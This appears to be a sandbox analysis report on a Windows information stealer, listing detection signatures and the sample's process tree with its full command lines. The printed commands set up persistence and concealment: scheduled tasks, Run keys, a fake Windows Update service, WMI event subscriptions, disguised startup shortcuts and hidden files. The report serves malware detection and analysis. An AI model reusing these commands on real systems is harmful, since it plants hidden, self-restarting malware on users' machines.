Analysis
- max time kernel
33s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
09/07/2026, 15:06
General
- Target 2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe
- Size 6.2MB
- Sample260709-sg4ftadv71
- SHA256 a257d0b5585c82165724fd5ae3301bc0ffb9155765618aee97ce0e8b0aa963a7
Score
9/10
Malware Config
Signatures
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 15 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 15 IoCs
- Detects executables using Telegram Chat Bot 15 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Start PowerShell.
- Creates new service(s) 2 TTPs
- Drops startup file 11 IoCs
- Executes dropped EXE 16 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 6 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 19 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 6 IoCs
- Enumerates processes with tasklist 1 TTPs 14 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 64 IoCs
- Drops file in Windows directory 6 IoCs
- Launches sc.exe 29 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Delays execution with timeout.exe 64 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Kills process with taskkill 8 IoCs
- Modifies registry key 1 TTPs 28 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 29 IoCs
- Suspicious use of AdjustPrivilegeToken 10 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe"1⤵
- Drops startup file
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
C:\Windows\Temp\4ueBxrjF\TraumatizerV3.exe"C:\Windows\Temp\4ueBxrjF\TraumatizerV3.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\Temp\4ueBxrjF\TraumatizerV3.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[System.IO.File]::SetAttributes(\"C:\Windows\System32\0409\WindowsUpdate.exe\", [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System -bor [System.IO.FileAttributes]::ReadOnly)"3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk') $Shortcut.TargetPath = 'C:\Windows\System32\0409\WindowsUpdate.exe' $Shortcut.WindowStyle = 7 $Shortcut.Description = 'Windows Update Service' $Shortcut.IconLocation = 'shell32.dll,1' $Shortcut.Save() $shortcutFile = Get-Item 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk' -ErrorAction SilentlyContinue if ($shortcutFile) { [System.IO.File]::SetAttributes($shortcutFile.FullName, [System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) } } catch {}"3⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /f3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask /xml C:\Users\Admin\AppData\Local\Temp\windows_update_task.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn Microsoft\Windows\WindowsUpdate\WindowsUpdateTask3⤵
-
-
C:\Windows\system32\sc.exesc delete WindowsUpdateService3⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.execmd /C "sc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\""3⤵
-
C:\Windows\system32\sc.exesc create \"WindowsUpdateService\" binPath= \"C:\Windows\System32\0409\WindowsUpdate.exe\" start= auto DisplayName= \"Windows Update Service\"4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\""3⤵
-
C:\Windows\system32\sc.exesc description \"WindowsUpdateService\" \"Provides Windows Update functionality and security patches\"4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
C:\Windows\system32\sc.exesc failure \"WindowsUpdateService\" reset= 86400 actions= restart/5000/restart/5000/restart/50004⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" obj= LocalSystem"3⤵
-
C:\Windows\system32\sc.exesc config \"WindowsUpdateService\" obj= LocalSystem4⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd /C "sc config \"WindowsUpdateService\" type= own"3⤵
-
C:\Windows\system32\sc.exesc config \"WindowsUpdateService\" type= own4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\sc.exesc start WindowsUpdateService3⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = 'BotRestartFilter' EventNameSpace = 'root\cimv2' Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'WindowsUpdate.exe'\" QueryLanguage = 'WQL' } $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = 'BotRestartConsumer' CommandLineTemplate = 'C:\Windows\System32\0409\WindowsUpdate.exe' RunInteractively = $false } $null = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $Filter Consumer = $Consumer }"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 6544 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 6544 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 7468 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 7468 -Force -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 8140 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8140 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 8652 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8652 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 8864 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8864 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 8872 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 8872 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /PID 5628 /F3⤵
- Kills process with taskkill
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Stop-Process -Id 5628 -Force -ErrorAction SilentlyContinue"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\4ueBxrjF\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16735.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_1686.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /tn "Windows System Health Monitor" /f >nul 2>&13⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "Windows System Health Monitor" /xml "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" /f3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.xml'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16835.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHealthMonitor.log" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16747.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
